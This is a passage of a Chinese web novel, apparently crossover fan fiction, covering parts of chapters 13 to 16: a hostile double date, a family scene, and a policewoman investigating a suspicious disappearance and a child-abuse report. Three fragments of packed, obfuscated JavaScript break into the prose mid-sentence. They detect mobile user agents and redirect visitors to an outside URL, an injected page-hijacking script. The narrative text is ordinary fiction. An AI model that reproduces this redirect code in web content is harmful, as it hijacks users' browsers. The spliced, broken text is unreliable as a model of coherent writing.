剧本中的女主角都率先搭讪了,表白还是让他说吧,总不能什么都让女方主动,自己坐享其成。 听到这话,真壁凑轻声呢喃:“真是便宜他了。” 声音很小,立刻被周围的人声淹没,坐在对面的嘉叶和松田没听见,可坐在他旁边的萩原千速却不自觉地皱起眉。 “不说我们了,有点不好意思,”嘉叶故作害羞地扭捏了一下,转移话题道,“你们呢?在一起多久了?” 刚说完,松田就往旁边偷瞄,眼神里满是赞许,嘉叶注意到他的目光,勾起嘴角对人笑了笑。 “我们?我们还在约会阶段。” 萩原千速不着痕迹地观察二人,看他们如此恩爱,眼底也浮起笑意,她的视线往旁边一掠,示意身边人接话。 真壁凑,和她大学同校同级但不同专业,过去没什么交集,前不久在毕业联谊会上才熟识起来。 印象不错,温柔体贴的同时还谦逊有礼,个子高长得帅,人也很大方。 可隐约觉得他有点表演型人格,今天是第三次约会,她打算再观察一段时间,并不急于确定关系。 接收到眼神暗示的真壁愣了片刻,抬手摸了摸自己的后脑勺,声音里带着紧张和局促: “其实我很早之前就对千速有好感,只不过她太受欢迎,是校园女神,身边从来不乏优秀的追求者,能像现在这样跟她约会,对于我来说就和跟梦一样美好,实在不敢再奢求别的。” “哪有那么夸张,你也挺好的啊。”萩原千速一副见怪不怪的模样,十分平静地说。 嘉叶:“……” 怎么感觉这个真壁假假的,一般人会这么说话吗?好奇怪的台词,难道他大学是戏剧部的?也有可能是表演型人格。 不过她也没资格说别人假,更何况为了追求喜欢的女生,无论是降低姿态还是说甜言蜜语都很正常,不应该被诟病。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511815|202465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>难得嘉叶没有恶意揣测,却莫名其妙被他人的恶意糊了一脸。 真壁望向松田,眼底浮起隐秘的算计,用那种毫不做作的语气说:“松田同学能找到那么漂亮的女朋友真是太好了,明明你之前……” 他故意话说一半,装作一不小心失言那样抬手捂住嘴,眼神闪躲,面露慌张,好像生怕自己继续说会说铸成大错似的。 咦?怎么有股茶味?不对,哪来的混蛋?! 嘉叶感觉自己的智商受到了侮辱。 这厮果然不是什么好鸟!该死的表演型人格,演技还那么烂,以为别人的智力水平都和他一样吗? “之前怎么了?”嘉叶皮笑肉不笑地追问。 感觉不管她问不问,这人都会锲而不舍地爆料。 是准备把松田先生过去喜欢萩原小姐的事捅出来,然后让大家都下不来台吗?有病吧! 损人不利己,说完基本上他和萩原小姐就要玩完了。 唯一的可能性就是这厮本来就没那么真心,除了萩原小姐之外,还同时在追求其他人。 可为什么要这么做呢?和松田先生有过节? “他之前喜欢……” 真壁话说一半就被萩原千速强行打断:“他以前性子比较冲,喜欢跟人打架,不过现在和你在一起的时候看着脾气倒是好了不少。” 萩原千速心里紧张不已,但表面还算淡定,若无其事地打圆场。 这也不算撒谎,说的都是实话。 他们三个在一个大学,阵平从前喜欢她的事不少人知道,他那会年少轻狂,曾当着无数校友的面跟她表过白。 不过那都是过去的事了,最后一次表白距今已有一年多。 阵平当时郑重其事地和她说这真的是最后一次,如果她还是不接受,他会学着放下,以后绝不会纠缠。 他是个言出必行的人,自那次被拒绝后就一直有意避开她,他们已经很久没有见面了。 在萩原千速心里,松田阵平到底还是和其他的追求者不一样,就算自己对他没有男女之情,也有从小一起长大的情分。 她一直把他当弟弟,如今看到他找到两情相悦的人,自己由衷地为他感到高兴。 至于过去的事就让它过去吧!阵平又不是出轨了,轮不到真壁一个外人“好心”提醒。 没有哪个女孩子愿意听男朋友的情史! 真壁这个王八蛋! 这是赤.裸.裸的嫉妒,王八蛋就是嫉妒阵平能和大美女谈恋爱,他不服气,才故意给人找不痛快。 好想打他! 萩原千速是个想干就干的直率性子,立刻狠狠跺了真壁一脚。 真壁惨叫一声:“啊!” “不好意思哦。”萩原千速无辜地眨了眨眼,假意关心:“你还好吗?” “……没事。”她那一脚用了十足的力,真壁脸都疼白了,有点咬牙切齿。 萩原千速温柔一笑:“嗯,那就行,我给你点杯喝的吧,你说那么多话一定渴了。”· 生完气,她也不禁懊悔起来,是她欠考虑,应该避嫌才对,可又实在按捺不住自己的八卦之心。 沉默良久的松田阵平冷冷地瞪着真壁,心想这家伙还真不是什么好东西,又假又装,又蠢又坏。 希望千速看清楚此人的真面目后能赶紧避雷,不管是约会还是谈恋爱,请找一个靠谱的好男人,实在不行就让Hagi给她把把关。 眼看着马上要翻篇,嘉叶也顺势对身旁的“男朋友”说:“阵平,以后不可以随便跟人动手哦,万一受伤了怎么办?” 松田:“知道啦。” 然后不出所料的,真壁凑将锲而不舍的精神发挥到底,其余三人都避而不谈,而他却紧抓不放,唯恐天下不乱。 他两手一摊,故意表现地很委屈,视线在三人之间流转,嘴角几不可察地扬了一点弧度。 “唉,你们不让我说就算了,只不过……我认为这对椎名小姐不公平,她应该也很好奇自己的男朋友之前喜欢过什么样的人吧。” 本来就对萩原千速没抱什么希望,受欢迎的女人都难追,反正还有别人,不差她这一个。 他就是不爽为什么萩原千速要对过去的追求者那么殷勤,非得叫上别人一起吃饭。 凭什么?她难道不讨厌松田吗? 还有!松田阵平凭什么能交到那么漂亮的女朋友?这种级别的美女别说恋爱了,如果在街上遇到,他都没胆子上去搭讪。 凭什么会看上松田?那家伙究竟哪里好?之前不过就是萩原千速的舔狗,凭什么摇身一变直接成为人生赢家? 桌下,松田阵平暗自握紧了拳头,他的怒气值已经到达临界点。 与此同时,嘉叶的火气直冲天灵盖,还有完没完?!真想把桌子给掀了! 14.第十四章 用拳头解决问题是松田阵平一贯的风格,换作是从前,早就一拳砸在真壁那张欠揍的脸上了! 可现在不一样,他首先想到刚答应过“女朋友”不要跟人动手,其次也不想让千速认为他至今毫无长进,依然是个冲动易怒、不计后果的人。 过去这一年多他时常反思自己,也渐渐明白千速不喜欢他的原因。 他确实太幼稚,不会读空气,也不怎么会为别人着想,不会说好听的话,动不动就摆臭脸…… 缺点堆积如山,优点寥寥无几。 大部分女生应该都会喜欢Hagi那种类型吧,懂得察言观色调节气氛,说话风趣幽默,随时都能把身边的人哄得很开心。 ——估计她也一样 视线不由自主地往左边移,松田发现身旁的“女朋友”也在看他,灿金的眼瞳带着温柔笑意,眼神专注而真挚。 “我知道阵平在遇到我之前一定有过喜欢的女孩子,老实说我很感谢那个人,正是因为有她的存在,你才会是现在的你,才会正好变成我喜欢的样子。而且我一直都认为喜欢一个人的心意本身就非常珍贵,哪怕没有得到回应,这份感情的价值和意义都不应该受到任何形式的贬损。” 其实如果这事发生在过去,嘉叶一定会大发雷霆,冲过去揪起真壁的衣领,一顿尖酸刻薄的输出。 可经过喜多川一事,她觉得自己不能再那么冲动,遇到不爽的事就靠极端方式解决,这样不好。 应该要更加冷静慎重,尽可能给大家都留余地。 所以眼下她选择不发火,而是说些得体的话,火速结束这个话题赶紧闪人,跟真壁这种人坐一桌吃饭简直倒胃口。 他的恶意太过明显,坏的莫名其妙,原因什么的无所谓,她只想远离,就像躲瘟疫一样。 “我突然想吃汉堡,实在不好意思啊,我们方便先走吗?” 嘉叶望着坐在对面萩原千速说道,脸上满是歉意。 至于真壁的意见?根本无人在意! 萩原千速连忙说:“当然可以,请便。” 嘉叶偏头看向松田,发现他凝固成了一根木头,就那么直愣愣地坐着发呆,完全没有要离开的意思。 他在留恋些什么?准备留下来和真壁来一场酣畅淋漓的拳击battle吗? “走啦。”嘉叶稍微提高了点音量,双手并用抱住他的胳膊,将这根木头桩子从座位上连根拔起。 刚走没几步,突然后悔起来,觉得就这么走人太过憋屈,晚上回想起来都会气到睡不着觉! 尽管和萩原小姐接触不多,但她觉得对方应该是那种聪明又有原则的人,今晚之后大概会和真壁割席。 这样一来,就不需要有太多顾忌,可以小作嘲讽。 嘉叶回过头,笑意盈盈地望向真壁:“真壁君,看你的年纪也不小了,如果认知一直停留在小学生水平,以后的人生绝对会过得很辛苦。” “你!你敢咒我!”真壁一改儒雅谦逊的作风,用力拍了下桌子。 嘉叶脸上的笑意渐浓,继续冷嘲热讽:“这是善意的提醒哦,做人要有自知之明,大家配合你那拙劣的演技也很辛苦,以后说话前麻烦过过脑子。” 真壁气到差点晕厥,半个字都蹦不出来,脸上白一阵红一阵。 旁边的萩原千速先是一愣,旋即哈哈大笑。 待二人走出店门,萩原千速马不停蹄地拿起包包和外套,冷着脸对真壁道:“这是我们最后一次见面,原因是什么你自己心里清楚。” 真壁无力地张了张嘴,最终什么都没说,认命似的点了几下头。 千速劲直走向卫生间,同样的错误不能犯两次,现在出去会在街上碰到那两人,实在不应该再打扰他们,过个几分钟再离开吧。 拿出手机,她给弟弟萩原研二拨去电话。 * 走出去没几步,松田阵平如同大梦初醒那样回过神来,然后双手合十,郑重道歉。 “对不起对不起,是我不好,刚才一时嘴快说了不该说的,你不用担心,我一定会找个合适的时机跟他们解释清楚。” 还以为对方至少会问问原因,或指责或埋怨几句,结果她只是轻轻说了句“没事”,紧接着抬手指向街对面,问:“吃不吃汉堡?” “吃。” 这事就这样轻飘飘地过去了,可她的宽容大度和善解人意,她说的那些话,都让松田记了好久好久。 吃饭期间二人几乎没有交流,各怀心事。 经过一番斟酌,嘉叶认为今晚的气氛不适合开口提过去那件事。 来日方长,不用急于一时,待会跟他要个联系方式,等下一次见面再说吧。 “确定不用送你回去?”嘉叶骑在车上再次确认。 这份濒临超速的好意让松田望而却步,他摆摆手,“不用了,我家就在附近,几分钟就能走到。” “好吧。” 嘉叶没有强人所难,心想松田先生多半和佑司一样,都是胆子比较小的类型。 刚拿到驾照的第二天,她就开开心心地载着佑司出门兜风,结果把人吓得脸都白了,从此佑司把她的车后座设置成“黑名单”,表示此生再也不想坐第二次。 不过松田先生比他好点,方才下车的时候面色如常。 就在她愣神时,松田阵平从兜里掏出手机递上去,“留个联系方式吧,今晚谢谢你,回头请你吃饭。” “啊,好。” 唇角抿着一点笑,嘉叶快速输入完自己的号码,把手机还给人家。 松田盯着屏幕看了看,备注那栏没写全名,而是留了“嘉叶”两个字,他眼底的情绪出现细微的变化,问:“你打算给我什么备注?” 嘉叶:“松田先生啊。” 松田没吭声,冲她伸出手,快速会意的嘉叶把手机解锁后递了过去,然后不可避免地注意到他的手很漂亮。 手指修长却不显瘦削,骨骼的轮廓藏在又白又透的皮肤下,若隐若现,像被薄雾盖住的山影,手背上隐约可见的青色血管好似山间蜿蜒的河流。 路灯把他的影子拉得很长,由于背着光,整张脸都隐没在阴影中,接过手机凑到面前,屏幕亮起的白光将轮廓照得清晰分明,眉眼愈发浓墨重彩。 ——他长得真的很好看。 嘉叶平时不太注意自己的形象,所以也不是很在意别人的形象,鲜少像这样细细地观察其他人。 视线向下,她微微睁大眼,被松田惊人的打字速度给震撼到了。 手指相当灵活啊!中看又中用!从小到大的手工课肯定都能拿满分。 接过他还来的手机,嘉叶好奇地看了眼备注栏,脸上很快浮起笑意。 “那我们下次再见咯,阵平。” 他有些别扭地移开视线看向别处,语气也有点不自然,“嗯,到家跟我说一声,嘉、嘉叶。” * 骑车回到家的嘉叶没有注意到她刚穿过大门,甚尔卧室的窗帘就被撩开一小条缝。 由于被真壁气得够呛,她方才胃口减半,在金拱门就餐时只点了个儿童套餐。 导致她现在又饿了,得去厨房弄点宵夜补充能量。 今晚待办事项众多,需要先写完作业,根据笔记自学早上缺了的那几节课,写申请书,预习明天上课的内容,景光哥还给她留了课外作业…… 就在推开厨房门的一刹那,一股诱人的香气立刻扑了上来。 难道说?! 嘉叶三步并作两步冲到烤箱前,打开自带的灯,清楚地看到里头的东西。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517317|202465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 海鲜焗饭虽迟但到! 应该是刚烤完,隔着玻璃门都能感觉到里面传来的热度,把垫子铺上餐桌,戴好手套,打开烤箱,开开心心地将焗饭捧到桌子上。 这时,厨房门被人推开。 嘉叶扭头一看——是甚尔,她立刻转身,张开双臂冲人奔去,“甚尔!我就知道你对我最好啦,爱你爱你爱你!” “滚滚滚!爱你个头!我鸡皮疙瘩都起一身。” “恰好”出现的甚尔对这种过分热情的态度过敏,满脸嫌弃地往旁边躲,拒绝接受这份直白而肉麻的感谢。 扑空的嘉叶原地刹车,捧着脸扭成一根婀娜多姿的麻花,“不要对人家那么冷漠嘛,你好坏坏。” 她今晚遇到什么好事了?甚尔目露惊恐,连连退后,“你别这样……我要吐了。” “那你吐一个给我看看。”嘉叶恢复平常的样子。 “信不信我吐你饭里。” “对不起我错了,不该皮这一下。” 刚做好的焗饭热气腾腾,直接吃恐得食道癌,嘉叶对甚尔神秘一笑,“姐夫哥,我刚给你买了礼物,你在这等一下。” 说完,她小跑着离开厨房,站在冰箱面前的甚尔愣了愣——“姐夫哥”是什么奇奇怪怪的称呼? 没过多久,嘉叶抱着一个牛皮纸袋归来,把东西往甚尔怀里一塞,露出故作高深的表情,“你肯定喜欢,回房间再拆哦。” 不知道为什么,甚尔有种不太好的预感,但还是十分配合地说:“……好吧。” 几分钟后,坐在床上的甚尔看着手里的写真,表情一言难尽,心情万般复杂。 把东西随手放一边,甚尔双手抱头,陷入沉思。 为什么要送这个? 他看起来很寂寞、很饥渴吗? 自己在嘉叶心里究竟是个什么形象? 满脑子只有色色的空虚中年男子? 必须要跟她解释清楚才行! 否则按照嘉叶那个铁憨憨性子,礼物绝对要升级,下次估计就得送飞机杯或者充气娃娃。 想想就觉得害怕! 自从妻子去世,他基本上就失去了那方面的想法,也可能是带孩子太累,为数不多的精力被消耗殆尽,甚至连打发自己的念头都没了。 他不打算再婚,不会再谈恋爱,也不可能随便找人解决,并且也懒得自己解决,因此不需要这些“别出心裁”的礼物! 忽然,甚尔脑中闪过一个画面。 嘉叶说是刚买的,可她方才骑车回来的时候两手空空,根据脚步声判断是直接进了厨房。 也就是说——这玩意儿是补课结束后和诸伏景光一起去买的。 怪不得! 千错万错都是诸伏景光的错,百分之百是那家伙怂恿嘉叶送的! 他们家的小叶子就是个屁事不懂的憨憨,对男女之事一窍不通,怎么可能平白无故送这种乱七八糟的东西! 该死!亏他长了一张草食系老实人脸,没想到居然做出这种事,真是人不可貌相! 不能继续让他当家教,一定会带坏孩子! 厨房中,嘉叶左手拿勺吃饭,右手给松田阵平发短信。 【我到了】 信息刚发出去没过几秒,屏幕上就出现回复内容。 阵平:【好,早点休息。】 这时,一连串急促的脚步声由远及近,厨房的门被甚尔一巴掌拍在墙上,苟延残喘了两秒,带着墙皮和门框一起摔倒在地。 三者同时香消玉殒,含泪结束短暂的一生。 他大晚上发什么疯? 正欲开口时,甚尔先她一步出了声,气势汹汹地破口大骂:“把诸伏景光那个混蛋叫过来,我要揍他!” 嘉叶:“啊?” 15.第十五章 放下勺子,嘉叶满头雾水地问:“为啥呀?景光哥怎么你了?” 甚尔面沉如水:“那本写真是他让你送的吧。” “我挑的,”嘉叶赶紧解释,“因为姐姐之前说过男人都喜欢这些东西,我以为你也喜欢。” 不过看这个反应,他明显不喜欢,失策了!话说为什么甚尔会认为那是景光哥让她送的啊? 这是什么神奇的脑回路? 甚尔:“……” 抬手捏了捏眉心,甚尔摆出严肃的表情,“以后别送了,我用不着。” 用不着是什么意思?他谈恋爱啦? 嘉叶心都凉了半截,万一后妈对小惠不好怎么办?!万一甚尔恋爱脑上头跟人私奔,不要他们了怎么办? 强行稳住心神,嘉叶用尽可能平静的语气问:“你恋爱了?” 闻言,甚尔先是露出像是吃炒饭吃到石子一样的表情,但注意到嘉叶眼底隐藏的那抹不安和恐惧时,忽然心疼起来。 嘉叶和真央的妈妈离婚后没过几年就再婚了,对方是个年龄比她小了十岁的法国男人,随后果断奔赴异国结婚,重启人生。 顶着四十五岁的高龄,冒着生命危险生下一对双胞胎男孩,从此人和心都留在了法国,对于和前夫生下的两个女儿,采取基本不闻不问的态度。 几年间总共回国两次,一次参加大女儿的婚礼,一次参加葬礼,结束后不到一个星期就回去了,说是因为两个儿子想妈妈。 嘉叶是害怕他和她妈一样,恋爱结婚后就不要她了。 “没有,”甚尔走到嘉叶身边,轻轻拍了拍她的脑袋,郑重许诺,“我这辈子只爱真央一个人,不会再找别人。” 纯爱战士狂喜! 既然如此,那为什么用不着?单身汉应该更需要啊。难道说……? 嘉叶扬起头,脸上流露出几分同情和关切:“你阳痿了?去医院问问吧,说不定还有救!” 这份“独具匠心”的人文关怀让人心梗,甚尔听完脸都绿了,这欠收拾的倒霉孩子就不值得他心疼! 最后一丝耐心强撑着他的理智,甚尔艰难地从牙缝里挤出:“主要是精神方面,我身体没问题。” 不料嘉叶听完更急了,仿佛他得了什么绝症,并且还讳疾忌医,她猛地站起身来,语速飞快:“不要逞强,早发现早治疗,你还年轻,不要放弃希望啊!” 耐心和理智同时崩塌,甚尔额角冒起青筋,抬手赏了她一记爆栗,“跟你说了没问题就是没问题!大人的事小孩别管!” “啊!”嘉叶惨叫一声,捂着额头蹲下,龇牙咧嘴地骂,“你这人怎么这样?阳痿了就去看病啊!为什么要拿我撒气?!” “都说了我没有痿!”甚尔又气又急,跟无头苍蝇似的满屋乱走,暴躁地揉了几下自己的头发,没好气地跟她解释,“就是单纯地对那种事没兴趣了,懂吗?” 简而言之就是从普通异性恋变成无性恋,嘉叶若有所思地抬头看了他一眼,认真一点头:“我明白了。” 长长舒了口气后,甚尔眼底流露出几分欣慰:“你终于懂了。” 他突然觉得诸伏景光命好苦,给嘉叶这头倔驴上课很容易被气出内伤来! 估计需要拥有钢铁般的意志和圣母般的仁慈之心才能坚持下去。 帮嘉叶补课,赚得全是精神损失费。 轻手轻脚地回到卧室,房间里放了一大一小两张床,甚尔看了看躺在儿童床上睡得正香的儿子,竟生出几分不真实感。 从来没有被父母爱过的他,起初也不知道该怎么爱自己的孩子。 在妻子去世后,他第一反应不是承担起作为父亲的责任将孩子抚养长大,而是非常孬种地选择逃走。 那时候的他根本不知道该怎么面对,一看到小惠,一看到嘉叶,就会想起真央,痛苦到几乎无法活下去。 离开的原因还有一个,小惠出生前他也研究过育儿书籍,上头有段话就像是一把命定的铡刀,时刻悬在他头顶。 ——人如果在童年时期没有被好好对待,长大之后即便有了孩子,多半也会按照父母曾经对自己的方式去对待自己的小孩…… 他从父母那里只得到过拳打脚踢和冷眼旁观,体内流淌着暴力和冷漠的基因。 小惠在他这种人身边只会变得不幸,倒不如走得远远的。 如果真央还在,或许他会有勇气面对,只可惜老天爷这混蛋从来不肯善待他。 离开之后的第二天,就被嘉叶找上了门。 那段时间她正处在最叛逆的青春期,动不动就找茬和他吵架,一言不合就动手,打不过还哭。 可奇怪的是,原本应该兴师问罪的嘉叶既没有发火,也没有指责,她收起了所有的任性和坏脾气,用近乎恳求的语气对他说: “你跟我回家吧。” 心头产生的那一丝动容很快被怯懦取代,他逃走了,想要甩掉一个初中生,轻而易举。 没过几天,她又来了,见面后还是那句话:“你跟我回家吧。” 这次他毫不犹豫地跑得没影,为了不被找到,特地跑去了北海道。 几天后,她再次出现在他的面前,台词变了变,但换汤不换药:“你跟我回家好不好?” 十四五岁的少女此前一直窝在象牙塔里撒泼打滚,无忧无虑地生活在姐姐的庇护下。 既不知人间疾苦,也不懂人情世故。既说不出什么大道理,也讲不出什么漂亮话。 还未从姐姐的去世中缓过劲,不负责任的姐夫又跑了。 比起惊讶和生气,估计她当时更多的是迷茫和不解。 偏偏还倔得要命,别人是不撞南墙不回头,她是即便撞了南墙,只要没撞死,就能用那颗结实的榆木脑袋继续撞。 她根本不在乎他为什么离开,也从来没有问过原因,可就是铁了心要把人带回去。 整整三个月,就这样来来回回重复了几十次。不管他躲去哪,都能被找到。 最后甚尔实在拗不过,趁着自己还有家可回时,心一横,老老实实地跟着她回了家。 他们在家中老人和月嫂的帮助下,艰难地挺过了带娃的第一年,因为身边人一直夸他做得好,甚尔渐渐觉得自己好像也没那么糟糕。 至少他能做到从不打骂孩子,有时候小惠闹起来也确实会觉得不耐烦,但他可以耐着性子去哄。 同时他发现一个很奇怪的现象,父母不一定会无条件地爱小孩,但小孩一定会无条件地爱父母。 那种依恋和信任简直不讲道理,他内心的空洞也被一点一点填上。 吃饱喝足的嘉叶重新坐到书桌前,一气呵成地写完作业,拿出手机看了眼时间,临近十二点。 干脆直接睡觉吧,熬夜不好。 四点起床,七点半晨练,中间还有近三小时的自由时间,用于自学和预习外加写申请书足够了。 突然来了通电话,是米花警署的号码。 嘉叶:“您好。” 话筒中传来恩田警官略带歉意的声音:“不好意思啊,这么晚还打扰你。” 嘉叶赶紧开口:“没关系,请问有什么事吗?” 方才去警署说明真相的时候正好碰到从外面回来的恩田警官,嘉叶就问了问喜多川的情况。 对方表示这两天都在忙别的案子,不太清楚,但可以帮她打听。 恩田:“我刚才去医院看了喜多川,他说那事不怪你,让你不要放在心上,还说他也有错,当时吓到你了他很抱歉。” 握住手机的手指微微收拢,嘉叶感到不可思议的同时心生愧疚,忙问:“他伤得严重吗?我什么时候能去探病?” 首先必须要当面道歉,其次得把医药费结了,再问问对方需不需要精神损失费。 别人可以不计较,但她不可能心安理得地当做什么都没有发生过,做错事肯定得尽力补救。 “轻微脑震荡,医生建议至少修养两周,”恩田语气一顿,“等这边走完程序吧,我不可以随便泄露他的信息,希望你能理解。” 听罢,嘉叶愧疚到无地自容,但还是硬着头皮追问:“他爹那事……您说了吗?” “说了,”恩田警官的语调忽然一转,“他说‘ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522756|202465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是父亲自作聪明想要害人在先,怨不得别人’。” 喜多川在说这话时看起来似乎还有点高兴,不是幸灾乐祸,而像是松了一口气,甚至还问了句:“能关他多久?” 虽然这么说不太礼貌,但恩田隐约觉得喜多川翼似乎希望他父亲永远不要回来。 挂断电话,恩田寻揉了揉眉心,整个人从里到外都透出一股深深的疲惫。 就在椎名小姐报警后没多久,警署前台就接到一起非常恐怖的案件。 当时这边只有她一位女警察,恩田权衡片刻,就把给椎名小姐录口供的工作交给别的前辈,自己去了解另一边的情况。 报案人是一位年轻女性,怀里死死地抱着了四五岁的小姑娘,她颤颤巍巍地说女儿疑似被新婚丈夫“欺负”,要求给孩子做全面检查。 经检查,孩子的身体没有遭受暴力对待,可以称得上是不幸中的万幸,但据小女孩自述,继父时常和她玩一些“特殊”的游戏,还让她不要告诉妈妈。 小姑娘始终觉得那种游戏让她感到不舒服,所以没有遵守约定,在洗澡时偷偷跟妈妈说了。 恩田感觉自己心都快碎了,尽管小姑娘现在不明白发生了什么,可她总有一天会长大,等未来某天突然明白过来,那种滞后的屈辱会像海啸一样袭来,能要了她半条命。 更气人的是这类案件大概率无法立案,只有口供没有证据很难提起刑事诉讼。 就算真的上诉成功,面对法官,那人渣肯定会一口咬死孩子是受母亲教唆,故意栽赃他。 恩田这两天都在四处奔走,把人渣周围的亲戚、朋友和同事都问了个遍,力求能够拿到哪怕多一点点的证词。 可惜一无所获,人渣隐藏得太好,在周围人眼里他就是一个标准的好男人,挑不出一点毛病。 唯一值得庆幸的是孩子的母亲选择相信自己的女儿,她已经提起离婚诉讼,并带着女儿回了娘家住。 而恩田的母亲,却选择视而不见。 来到茶水间,给自己泡了杯咖啡,恩田没加糖也没加奶精,皱着眉头几口喝完。 喜多川的态度过分反常,一般人听见自己父亲面临法律责任,多多少少都会担心吧,更何况这事还跟他有关系。 他们真的是父子吗?会不会有什么隐情? 打开电脑,恩田翻阅起喜多川一家的户籍信息,发现还真不是亲生父子。 喜多川翼原名空见翼,是母亲空见夏溪在未婚的情况下生下的孩子。 十五年前,空见女士和喜多川健次结婚,只可惜好景不长,喜多川夏溪的信息在八年前被登记为“已故”。 生病还是意外? 恩田翻到喜多川健次过去的报案记录,声称婚后没多久,夫妻两吵了一架,负气的妻子独自跑去登山,随后失踪。 由于后来一直找不到人,夏溪女士名下的银行卡也没有使用记录,警方就以她在登山途中遭遇意外草草结案,并没有过多调查。 日本法律规定,失踪七年即可判为死亡。 真不知道当年的警察是怎么想的! 恩田寻大为光火,单靠丈夫的口述就判断为意外?甚至都没有询问景区工作人员的记录! 这件事绝对有猫腻,活要见人,死要见尸! 可时隔多年,想要重启调查必须得找到新线索或是新的证人,唯一的突破口就是喜多川翼,他对于妈妈的失踪是什么态度? 突然,所有的线索连成一条线,恩田寻心头有种极为不好的猜想,她打开椎名小姐提供的录像,重新看了一遍。 喜多川翼当时究竟在手机上看到了什么? 恩田找了别的借口走进证物室,良心有愧地找到喜多川翼的手机——她知道自己没有随意翻看的权利,这是侵犯隐私。 但她不得不看。 手机还剩一格电,没有设置密码。 周天下午他只收到过一条短信,时间为两点半,和录像显示的一致, 发件人备注:喜多川健次 内容为:【晚上来我房间,不听话会有什么后果你比我清楚。】 16.第十六章 嘉叶躺在床上辗转反侧,喜多川翼跟他爹之间是有什么过节吗? 家家都有本难念啊。 如果没有,说明他的理性和正直已经到达圣人级别,真正意义上做到了帮理不帮亲,实在令人叹服。 扪心自问,嘉叶做不到,尽管和父亲的关系一直十分淡漠,但要是她爹真出事了,她肯定还是会偏袒自家人。 又躺了一会,还是睡不着。 嘉叶索性从床上爬起来,准备把申请书写了,拿起床头柜上的手机看了眼时间——十二点四十六分。 一条信息蓦地出现在屏幕上,发件人是的场静司。 【的场家周六举办除妖师集会,你来吗?】 眉头轻轻蹙起,嘉叶毫不犹豫地回:【不来。】 几乎是刚发出去就收到回复:【因为不想见我?】 嘉叶:“……” 出现了,说话比她还不留余地的人出现了,他这一点真是完全没有变啊可恶!直接到让人一时半会都不知道该怎么接。 她反复斟酌措辞,平时考试都没那么谨慎,一句话来来回回删了好几次。 突然,一条信息横在屏幕顶端,吓得她手一抖,差点把手机扔了。 的场静司:【你就这么讨厌我?】 这还没完,几秒后,一条内容相当任性且孩子气的信息让嘉叶心头一紧:【不来就算了,我也不想见你。】 嘉叶:“……” 有病吧!超级敏敏皮吗?哪来的小学生?确定是成年人? 原本还打算解释几句,但看到那句“我也不想见你”后,顿时有种无力感。 脑袋里浮现出的场静司孩童时期的脸,暗红色的眼眸恣意上挑,瞳孔又细又长,像尖锐的钉子,狠狠刺进她心口。 他居高临下地睨过来,嘴角牵起刻薄又嚣张的笑,漫不经心地开口,慵懒的语调登时让人火冒三丈:“你还真是没用啊。” 淦! 胸口一阵火烧火燎,连带着五脏六腑都被烧成三分熟,嘉叶点开备注栏,泄愤似的把“的场静司”改成了“讨厌鬼!!!”。 过了一会,又觉得这么做太幼稚,翻了个白眼,不情不愿地把备注改了回去。 也就是在这个时候,嘉叶猛地意识到为什么自己那么轻易就会被迹部景吾惹毛——因为这两人的声音太像了! 只不过迹部的说话方式更加狂妄自大,的场偏内敛阴沉,在气人程度上二人齐头并进,不相伯仲。 但如今情况有变,嘉叶眼下被的场静司气得直跺脚,回想起晚上在便利店时,表现地很乖巧的迹部,突然觉得他好像也没那么讨厌了。 全靠同行衬托。 今年是高中的最后一年,迹部景吾就坐她后排,抬头不见低头见,多个关系凑合的后桌,总比多个相看两厌的同学强。 从通讯录中找到迹部的手机号,嘉叶给对方发了条短信。 带着一身水汽的迹部从浴室回到书房,上高中后,父亲就开始让他着手管理家族事务,今晚和一家子公司的管理层线上开会到将近十二点才结束。 坐到堆满白色纸张的书桌前,此时已临近凌晨一点,但完美主义的迹部不喜欢把工作留到第二天,他决定把手头的文件审批完再睡。 这时,桌上的其中一部手机震了两下,埋头工作的迹部景吾不快地骤起眉头,拿起来一看,心头的不悦立即烟消云散。 深蓝色的眼瞳中满是难以置信,他仔细盯着屏幕看了好一会,才确定这是事实,而不是自己的幻觉。 椎名:【不好意思这么晚还打扰你,如果方便,可以教教我申请书怎么写吗?】 完美主义者果断把手上的文件丢到一边,看都懒得再看一眼,他喝了口温热的红茶润润嗓,打字速度飞快。 【打电话说?】 望着手机屏幕,嘉叶目瞪口呆,她以为迹部早就睡了!发那条短信只是为了走个过场,缓和关系的台阶罢了。 迹部不回也没事,她本打算明天借着这个由头和他搭话。 没想到哥们儿居然是夜猫子,这么晚了,大家为什么都不睡?精神韩国人吗? 不过鉴于人家都回了,嘉叶也没多犹豫,拨通对方的电话。 电话接通后,二人就跟两只闷葫芦似的,都沉默着等对方先开口。 过了半晌,迹部才小心翼翼地说:“很简单,你那么聪明,肯定一学就会。” 